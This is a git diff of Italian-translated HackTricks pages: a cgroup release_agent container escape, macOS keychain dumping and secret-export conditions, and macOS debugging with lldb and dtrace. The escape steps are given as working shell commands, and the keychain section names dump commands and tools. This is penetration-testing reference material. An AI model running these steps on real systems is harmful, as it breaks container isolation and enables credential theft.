* Il controller cgroup RDMA viene montato in questa directory. In caso di assenza del controller RDMA, si consiglia di utilizzare il controller cgroup `memory` come alternativa.
|
||||
* Viene creata una directory `/tmp/cgrp` per fungere da punto di montaggio per il cgroup.
|
||||
* Il controller cgroup RDMA è montato su questa directory. In caso di assenza del controller RDMA, si suggerisce di utilizzare il controller cgroup `memory` come alternativa.
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
2. **Impostare il Cgroup Figlio:**
|
||||
* Viene creato un cgroup figlio chiamato "x" all'interno della directory cgroup montata.
|
||||
* Le notifiche vengono abilitate per il cgroup "x" scrivendo 1 nel suo file notify\_on\_release.
|
||||
2. **Imposta il Cgroup Figlio:**
|
||||
* Un cgroup figlio chiamato "x" viene creato all'interno della directory cgroup montata.
|
||||
* Le notifiche sono abilitate per il cgroup "x" scrivendo 1 nel suo file notify\_on\_release.
|
||||
```shell
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
3. **Configurare l'Agente di Rilascio:**
|
||||
* Il percorso del contenitore sull'host viene ottenuto dal file /etc/mtab.
|
||||
* Il file release\_agent del cgroup viene quindi configurato per eseguire uno script di nome /cmd situato nel percorso dell'host acquisito.
|
||||
3. **Configurare il Release Agent:**
|
||||
* Il percorso del container sull'host è ottenuto dal file /etc/mtab.
|
||||
* Il file release\_agent del cgroup viene quindi configurato per eseguire uno script chiamato /cmd situato nel percorso host acquisito.
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
4. **Creare e Configurare lo Script /cmd:**
|
||||
* Lo script /cmd viene creato all'interno del container e viene configurato per eseguire ps aux, reindirizzando l'output in un file chiamato /output nel container. Viene specificato il percorso completo di /output sull'host.
|
||||
4. **Crea e Configura lo Script /cmd:**
|
||||
* Lo script /cmd viene creato all'interno del contenitore ed è configurato per eseguire ps aux, reindirizzando l'output a un file chiamato /output nel contenitore. Il percorso completo di /output sull'host è specificato.
|
||||
```shell
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
```
|
||||
5. **Innesca l'Attacco:**
|
||||
* Viene avviato un processo all'interno del sottogruppo figlio "x" e viene immediatamente terminato.
|
||||
* Questo attiva il `release_agent` (lo script /cmd), che esegue ps aux sull'host e scrive l'output su /output all'interno del container.
|
||||
5. **Attivare l'attacco:**
|
||||
* Un processo viene avviato all'interno del cgroup figlio "x" e viene immediatamente terminato.
|
||||
* Questo attiva il `release_agent` (lo script /cmd), che esegue ps aux sull'host e scrive l'output in /output all'interno del container.
|
||||
```shell
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
|
||||
|
||||
Il loro obiettivo principale è combattere i takeover di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi visitare il loro sito web e provare il loro motore gratuitamente su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -95,7 +70,7 @@ Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,24 +15,11 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che ruba informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Main Keychains
|
||||
|
||||
* Il **User Keychain** (`~/Library/Keychains/login.keycahin-db`), che viene utilizzato per memorizzare **credenziali specifiche dell'utente** come password delle applicazioni, password di internet, certificati generati dall'utente, password di rete e chiavi pubbliche/private generate dall'utente.
|
||||
* Il **System Keychain** (`/Library/Keychains/System.keychain`), che memorizza **credenziali a livello di sistema** come password WiFi, certificati radice di sistema, chiavi private di sistema e password delle applicazioni di sistema.
|
||||
* Il **Keychain Utente** (`~/Library/Keychains/login.keycahin-db`), che viene utilizzato per memorizzare **credenziali specifiche dell'utente** come password delle applicazioni, password di internet, certificati generati dall'utente, password di rete e chiavi pubbliche/private generate dall'utente.
|
||||
* Il **Keychain di Sistema** (`/Library/Keychains/System.keychain`), che memorizza **credenziali a livello di sistema** come password WiFi, certificati root di sistema, chiavi private di sistema e password delle applicazioni di sistema.
|
||||
|
||||
### Password Keychain Access
|
||||
|
||||
|
@ -42,16 +29,16 @@ Questi file, pur non avendo protezione intrinseca e potendo essere **scaricati**
|
|||
|
||||
### ACLs
|
||||
|
||||
Ogni voce nel keychain è governata da **Access Control Lists (ACLs)** che determinano chi può eseguire varie azioni sulla voce del keychain, inclusi:
|
||||
Ogni voce nel keychain è governata da **Access Control Lists (ACLs)** che stabiliscono chi può eseguire varie azioni sulla voce del keychain, inclusi:
|
||||
|
||||
* **ACLAuhtorizationExportClear**: Consente al titolare di ottenere il testo in chiaro del segreto.
|
||||
* **ACLAuhtorizationExportWrapped**: Consente al titolare di ottenere il testo in chiaro crittografato con un'altra password fornita.
|
||||
* **ACLAuhtorizationAny**: Consente al titolare di eseguire qualsiasi azione.
|
||||
|
||||
Le ACL sono ulteriormente accompagnate da un **elenco di applicazioni fidate** che possono eseguire queste azioni senza richiedere conferma. Questo potrebbe essere:
|
||||
Le ACL sono ulteriormente accompagnate da un **elenco di applicazioni fidate** che possono eseguire queste azioni senza richiesta. Questo potrebbe essere:
|
||||
|
||||
* **N`il`** (nessuna autorizzazione richiesta, **tutti sono fidati**)
|
||||
* Un elenco **vuoto** (**nessuno** è fidato)
|
||||
* Un **elenco vuoto** (**nessuno** è fidato)
|
||||
* **Elenco** di **applicazioni** specifiche.
|
||||
|
||||
Inoltre, la voce potrebbe contenere la chiave **`ACLAuthorizationPartitionID`,** che viene utilizzata per identificare il **teamid, apple,** e **cdhash.**
|
||||
|
@ -65,7 +52,7 @@ Inoltre, la voce potrebbe contenere la chiave **`ACLAuthorizationPartitionID`,**
|
|||
Quando viene creata una **nuova** **voce** utilizzando **`Keychain Access.app`**, si applicano le seguenti regole:
|
||||
|
||||
* Tutte le app possono crittografare.
|
||||
* **Nessuna app** può esportare/decrittografare (senza richiedere conferma all'utente).
|
||||
* **Nessuna app** può esportare/decrittografare (senza richiedere all'utente).
|
||||
* Tutte le app possono vedere il controllo di integrità.
|
||||
* Nessuna app può modificare le ACL.
|
||||
* Il **partitionID** è impostato su **`apple`**.
|
||||
|
@ -73,7 +60,7 @@ Quando viene creata una **nuova** **voce** utilizzando **`Keychain Access.app`**
|
|||
Quando un'**applicazione crea una voce nel keychain**, le regole sono leggermente diverse:
|
||||
|
||||
* Tutte le app possono crittografare.
|
||||
* Solo l'**applicazione che crea** (o altre app esplicitamente aggiunte) può esportare/decrittografare (senza richiedere conferma all'utente).
|
||||
* Solo l'**applicazione che crea** (o altre app esplicitamente aggiunte) può esportare/decrittografare (senza richiedere all'utente).
|
||||
* Tutte le app possono vedere il controllo di integrità.
|
||||
* Nessuna app può modificare le ACL.
|
||||
* Il **partitionID** è impostato su **`teamid:[teamID here]`**.
|
||||
|
@ -100,21 +87,21 @@ security dump-keychain ~/Library/Keychains/login.keychain-db
|
|||
### APIs
|
||||
|
||||
{% hint style="success" %}
|
||||
L'**enumerazione e il dumping** delle chiavi che **non genereranno un prompt** possono essere effettuati con lo strumento [**LockSmith**](https://github.com/its-a-feature/LockSmith)
|
||||
L'**enumerazione e il dumping** del keychain di segreti che **non genereranno un prompt** possono essere effettuati con lo strumento [**LockSmith**](https://github.com/its-a-feature/LockSmith)
|
||||
{% endhint %}
|
||||
|
||||
Elenca e ottieni **info** su ogni voce del portachiavi:
|
||||
Elenca e ottieni **info** su ogni voce del keychain:
|
||||
|
||||
* L'API **`SecItemCopyMatching`** fornisce informazioni su ogni voce e ci sono alcuni attributi che puoi impostare quando la usi:
|
||||
* **`kSecReturnData`**: Se vero, cercherà di decrittografare i dati (imposta su falso per evitare potenziali pop-up)
|
||||
* **`kSecReturnRef`**: Ottieni anche un riferimento all'elemento del portachiavi (imposta su vero nel caso in cui successivamente vedi che puoi decrittografare senza pop-up)
|
||||
* **`kSecReturnRef`**: Ottieni anche un riferimento all'elemento del keychain (imposta su vero nel caso in cui successivamente vedi che puoi decrittografare senza pop-up)
|
||||
* **`kSecReturnAttributes`**: Ottieni metadati sulle voci
|
||||
* **`kSecMatchLimit`**: Quanti risultati restituire
|
||||
* **`kSecClass`**: Che tipo di voce del portachiavi
|
||||
* **`kSecClass`**: Che tipo di voce del keychain
|
||||
|
||||
Ottieni **ACL** di ogni voce:
|
||||
|
||||
* Con l'API **`SecAccessCopyACLList`** puoi ottenere l'**ACL per l'elemento del portachiavi**, e restituirà un elenco di ACL (come `ACLAuhtorizationExportClear` e gli altri precedentemente menzionati) dove ogni elenco ha:
|
||||
* Con l'API **`SecAccessCopyACLList`** puoi ottenere l'**ACL per l'elemento del keychain**, e restituirà un elenco di ACL (come `ACLAuhtorizationExportClear` e gli altri precedentemente menzionati) dove ogni elenco ha:
|
||||
* Descrizione
|
||||
* **Elenco delle applicazioni fidate**. Questo potrebbe essere:
|
||||
* Un'app: /Applications/Slack.app
|
||||
|
@ -129,7 +116,7 @@ Esporta i dati:
|
|||
E questi sono i **requisiti** per poter **esportare un segreto senza un prompt**:
|
||||
|
||||
* Se ci sono **1+ app fidate** elencate:
|
||||
* Necessita delle appropriate **autorizzazioni** (**`Nil`**, o essere **parte** dell'elenco delle app autorizzate ad accedere alle informazioni segrete)
|
||||
* Necessita delle appropriate **autorizzazioni** (**`Nil`**, o essere **parte** dell'elenco consentito di app nell'autorizzazione per accedere alle informazioni segrete)
|
||||
* Necessita che la firma del codice corrisponda al **PartitionID**
|
||||
* Necessita che la firma del codice corrisponda a quella di un **app fidata** (o essere un membro del giusto KeychainAccessGroup)
|
||||
* Se **tutte le applicazioni sono fidate**:
|
||||
|
@ -140,12 +127,12 @@ E questi sono i **requisiti** per poter **esportare un segreto senza un prompt**
|
|||
{% hint style="danger" %}
|
||||
Pertanto, se c'è **1 applicazione elencata**, è necessario **iniettare codice in quell'applicazione**.
|
||||
|
||||
Se **apple** è indicato nel **partitionID**, potresti accedervi con **`osascript`** quindi qualsiasi cosa che stia fidando tutte le applicazioni con apple nel partitionID. **`Python`** potrebbe anche essere usato per questo.
|
||||
Se **apple** è indicato nel **partitionID**, potresti accedervi con **`osascript`** quindi qualsiasi cosa che stia fidando tutte le applicazioni con apple nel partitionID. **`Python`** potrebbe essere utilizzato anche per questo.
|
||||
{% endhint %}
|
||||
|
||||
### Due attributi aggiuntivi
|
||||
|
||||
* **Invisible**: È un flag booleano per **nascondere** la voce dall'app **UI** del portachiavi
|
||||
* **Invisible**: È un flag booleano per **nascondere** la voce dall'app Keychain **UI**
|
||||
* **General**: Serve a memorizzare **metadati** (quindi NON È CRIPTATO)
|
||||
* Microsoft memorizzava in testo chiaro tutti i token di aggiornamento per accedere a endpoint sensibili.
|
||||
|
||||
|
@ -153,17 +140,6 @@ Se **apple** è indicato nel **partitionID**, potresti accedervi con **`osascrip
|
|||
|
||||
* [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere le assunzioni di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,19 +15,6 @@ Impara e pratica GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Analisi Statica
|
||||
|
||||
|
@ -119,7 +106,7 @@ Questi installer hanno script bash `preinstall` e `postinstall` che gli autori d
|
|||
|
||||
### hdiutil
|
||||
|
||||
Questo strumento consente di **mount** i file immagine disco Apple (**.dmg**) per ispezionarli prima di eseguire qualsiasi cosa:
|
||||
Questo strumento consente di **mount** le immagini disco Apple (**.dmg**) per ispezionarle prima di eseguire qualsiasi cosa:
|
||||
```bash
|
||||
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
||||
```
|
||||
|
@ -128,7 +115,7 @@ It will be mounted in `/Volumes`
|
|||
### Packed binaries
|
||||
|
||||
* Controlla l'alta entropia
|
||||
* Controlla le stringhe (se non ci sono stringhe comprensibili, è impacchettato)
|
||||
* Controlla le stringhe (se ci sono quasi nessuna stringa comprensibile, impacchettato)
|
||||
* Il pacchetto UPX per MacOS genera una sezione chiamata "\_\_XHDR"
|
||||
|
||||
## Static Objective-C analysis
|
||||
|
@ -154,8 +141,8 @@ Quando una funzione viene chiamata in un binario che utilizza Objective-C, il co
|
|||
|
||||
I parametri che questa funzione si aspetta sono:
|
||||
|
||||
* Il primo parametro (**self**) è "un puntatore che punta all'**istanza della classe che deve ricevere il messaggio**". In altre parole, è l'oggetto su cui viene invocato il metodo. Se il metodo è un metodo di classe, questo sarà un'istanza dell'oggetto classe (nel suo insieme), mentre per un metodo di istanza, self punterà a un'istanza instanziata della classe come oggetto.
|
||||
* Il secondo parametro, (**op**), è "il selettore del metodo che gestisce il messaggio". In termini più semplici, questo è solo il **nome del metodo.**
|
||||
* Il primo parametro (**self**) è "un puntatore che punta all'**istanza della classe che deve ricevere il messaggio**". In termini più semplici, è l'oggetto su cui viene invocato il metodo. Se il metodo è un metodo di classe, questo sarà un'istanza dell'oggetto classe (nel suo insieme), mentre per un metodo di istanza, self punterà a un'istanza instanziata della classe come oggetto.
|
||||
* Il secondo parametro, (**op**), è "il selettore del metodo che gestisce il messaggio". Ancora una volta, in termini più semplici, questo è solo il **nome del metodo.**
|
||||
* I parametri rimanenti sono eventuali **valori richiesti dal metodo** (op).
|
||||
|
||||
Vedi come **ottenere queste informazioni facilmente con `lldb` in ARM64** in questa pagina:
|
||||
|
@ -170,17 +157,17 @@ x64:
|
|||
| ----------------- | -------------------------------------------------------------- | ------------------------------------------------------ |
|
||||
| **1° argomento** | **rdi** | **self: oggetto su cui viene invocato il metodo** |
|
||||
| **2° argomento** | **rsi** | **op: nome del metodo** |
|
||||
| **3° argomento** | **rdx** | **1° argomento del metodo** |
|
||||
| **4° argomento** | **rcx** | **2° argomento del metodo** |
|
||||
| **5° argomento** | **r8** | **3° argomento del metodo** |
|
||||
| **6° argomento** | **r9** | **4° argomento del metodo** |
|
||||
| **7°+ argomento** | <p><strong>rsp+</strong><br><strong>(sullo stack)</strong></p> | **5°+ argomento del metodo** |
|
||||
| **3° argomento** | **rdx** | **1° argomento per il metodo** |
|
||||
| **4° argomento** | **rcx** | **2° argomento per il metodo** |
|
||||
| **5° argomento** | **r8** | **3° argomento per il metodo** |
|
||||
| **6° argomento** | **r9** | **4° argomento per il metodo** |
|
||||
| **7°+ argomento** | <p><strong>rsp+</strong><br><strong>(sullo stack)</strong></p> | **5°+ argomento per il metodo** |
|
||||
|
||||
### Dump ObjectiveC metadata
|
||||
|
||||
### Dynadump
|
||||
|
||||
[**Dynadump**](https://github.com/DerekSelander/dynadump) è uno strumento per il class-dump di binari Objective-C. Il github specifica dylibs ma funziona anche con eseguibili.
|
||||
[**Dynadump**](https://github.com/DerekSelander/dynadump) è uno strumento per il class-dump di binari Objective-C. Il github specifica dylibs ma questo funziona anche con eseguibili.
|
||||
```bash
|
||||
./dynadump dump /path/to/bin
|
||||
```
|
||||
|
@ -380,7 +367,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
|
|||
|
||||
Strumenti come `latency`, `sc_usage`, `fs_usage` e `trace` lo utilizzano internamente.
|
||||
|
||||
Per interfacciarsi con `kdebug` si utilizza `sysctl` sul namespace `kern.kdebug` e i MIB da utilizzare possono essere trovati in `sys/sysctl.h`, con le funzioni implementate in `bsd/kern/kdebug.c`.
|
||||
Per interfacciarsi con `kdebug`, si utilizza `sysctl` sul namespace `kern.kdebug` e i MIB da utilizzare possono essere trovati in `sys/sysctl.h`, con le funzioni implementate in `bsd/kern/kdebug.c`.
|
||||
|
||||
Per interagire con kdebug con un client personalizzato, questi sono solitamente i passaggi:
|
||||
|
||||
|
@ -392,15 +379,15 @@ Per interagire con kdebug con un client personalizzato, questi sono solitamente
|
|||
* Leggere il buffer chiamando KERN\_KDREADTR
|
||||
* Per abbinare ogni thread al suo processo, chiamare KERN\_KDTHRMAP.
|
||||
|
||||
Per ottenere queste informazioni è possibile utilizzare lo strumento Apple **`trace`** o lo strumento personalizzato [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.**
|
||||
Per ottenere queste informazioni, è possibile utilizzare lo strumento Apple **`trace`** o lo strumento personalizzato [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.**
|
||||
|
||||
**Nota che Kdebug è disponibile solo per 1 cliente alla volta.** Quindi solo uno strumento alimentato da k-debug può essere eseguito contemporaneamente.
|
||||
|
||||
### ktrace
|
||||
|
||||
Le API `ktrace_*` provengono da `libktrace.dylib` che avvolgono quelle di `Kdebug`. Quindi, un client può semplicemente chiamare `ktrace_session_create` e `ktrace_events_[single/class]` per impostare callback su codici specifici e poi avviarlo con `ktrace_start`.
|
||||
Le API `ktrace_*` provengono da `libktrace.dylib`, che avvolge quelle di `Kdebug`. Quindi, un client può semplicemente chiamare `ktrace_session_create` e `ktrace_events_[single/class]` per impostare callback su codici specifici e poi avviarlo con `ktrace_start`.
|
||||
|
||||
Puoi utilizzare questo anche con **SIP attivato**
|
||||
Puoi utilizzare questo anche con **SIP attivato**.
|
||||
|
||||
Puoi utilizzare come client l'utilità `ktrace`:
|
||||
```bash
|
||||
|
@ -461,7 +448,7 @@ In [**questo post del blog**](https://knight.sc/debugging/2019/06/03/debugging-a
|
|||
|
||||
### lldb
|
||||
|
||||
**lldb** è lo strumento de **facto** per il **debugging** di binari **macOS**.
|
||||
**lldb** è lo strumento de **facto** per il **debugging** dei binari **macOS**.
|
||||
```bash
|
||||
lldb ./malware.bin
|
||||
lldb -p 1122
|
||||
|
@ -476,7 +463,7 @@ settings set target.x86-disassembly-flavor intel
|
|||
All'interno di lldb, dump un processo con `process save-core`
|
||||
{% endhint %}
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descrizione</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Inizia l'esecuzione, che continuerà senza interruzioni fino a quando non viene colpito un breakpoint o il processo termina.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Inizia l'esecuzione fermandosi al punto di ingresso</td></tr><tr><td><strong>continue (c)</strong></td><td>Continua l'esecuzione del processo in debug.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Esegui la prossima istruzione. Questo comando salterà le chiamate di funzione.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Esegui la prossima istruzione. A differenza del comando nexti, questo comando entrerà nelle chiamate di funzione.</td></tr><tr><td><strong>finish (f)</strong></td><td>Esegui il resto delle istruzioni nella funzione corrente (“frame”) restituisci e fermati.</td></tr><tr><td><strong>control + c</strong></td><td>Metti in pausa l'esecuzione. Se il processo è stato eseguito (r) o continuato (c), questo causerà l'arresto del processo ...dove si trova attualmente in esecuzione.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Qualsiasi funzione chiamata main</p><p><code>b <binname>`main</code> #Funzione principale del bin</p><p><code>b set -n main --shlib <lib_name></code> #Funzione principale del bin indicato</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Qualsiasi metodo NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Interrompi in tutte le funzioni di quella libreria</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Elenco dei breakpoint</p><p><code>br e/dis <num></code> #Abilita/Disabilita breakpoint</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Ottieni aiuto sul comando breakpoint</p><p>help memory write #Ottieni aiuto per scrivere nella memoria</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>Visualizza la memoria come una stringa terminata da null.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>Visualizza la memoria come istruzione assembly.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>Visualizza la memoria come byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Questo stamperà l'oggetto referenziato dal parametro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Nota che la maggior parte delle API o dei metodi Objective-C di Apple restituiscono oggetti, e quindi dovrebbero essere visualizzati tramite il comando “print object” (po). Se po non produce un output significativo usa <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Scrivi AAAA in quell'indirizzo<br>memory write -f s $rip+0x11f+7 "AAAA" #Scrivi AAAA nell'indirizzo</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disassembla la funzione corrente</p><p>dis -n <funcname> #Disassembla la funzione</p><p>dis -n <funcname> -b <basename> #Disassembla la funzione<br>dis -c 6 #Disassembla 6 righe<br>dis -c 0x100003764 -e 0x100003768 # Da un'addizione all'altra<br>dis -p -c 4 # Inizia nell'indirizzo corrente disassemblando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Controlla l'array di 3 componenti nel registro x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Stampa la mappa della memoria del processo corrente</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Ottieni l'indirizzo di tutti i simboli da CoreNLP</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descrizione</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Inizia l'esecuzione, che continuerà senza interruzioni fino a quando non viene colpito un breakpoint o il processo termina.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Inizia l'esecuzione fermandosi al punto di ingresso</td></tr><tr><td><strong>continue (c)</strong></td><td>Continua l'esecuzione del processo in debug.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Esegui la prossima istruzione. Questo comando salterà le chiamate di funzione.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Esegui la prossima istruzione. A differenza del comando nexti, questo comando entrerà nelle chiamate di funzione.</td></tr><tr><td><strong>finish (f)</strong></td><td>Esegui il resto delle istruzioni nella funzione corrente (“frame”) restituisci e ferma.</td></tr><tr><td><strong>control + c</strong></td><td>Metti in pausa l'esecuzione. Se il processo è stato eseguito (r) o continuato (c), questo causerà l'arresto del processo ...dove si trova attualmente in esecuzione.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Qualsiasi funzione chiamata main</p><p><code>b <binname>`main</code> #Funzione principale del bin</p><p><code>b set -n main --shlib <lib_name></code> #Funzione principale del bin indicato</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Qualsiasi metodo NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Interrompi in tutte le funzioni di quella libreria</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Elenco dei breakpoint</p><p><code>br e/dis <num></code> #Abilita/Disabilita breakpoint</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Ottieni aiuto sul comando breakpoint</p><p>help memory write #Ottieni aiuto per scrivere nella memoria</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">formato</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>Visualizza la memoria come una stringa terminata da null.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>Visualizza la memoria come istruzione assembly.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>Visualizza la memoria come byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Questo stamperà l'oggetto referenziato dal parametro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Nota che la maggior parte delle API o dei metodi Objective-C di Apple restituiscono oggetti, e quindi dovrebbero essere visualizzati tramite il comando “print object” (po). Se po non produce un output significativo usa <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Scrivi AAAA in quell'indirizzo<br>memory write -f s $rip+0x11f+7 "AAAA" #Scrivi AAAA nell'indirizzo</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disassembla la funzione corrente</p><p>dis -n <funcname> #Disassembla la funzione</p><p>dis -n <funcname> -b <basename> 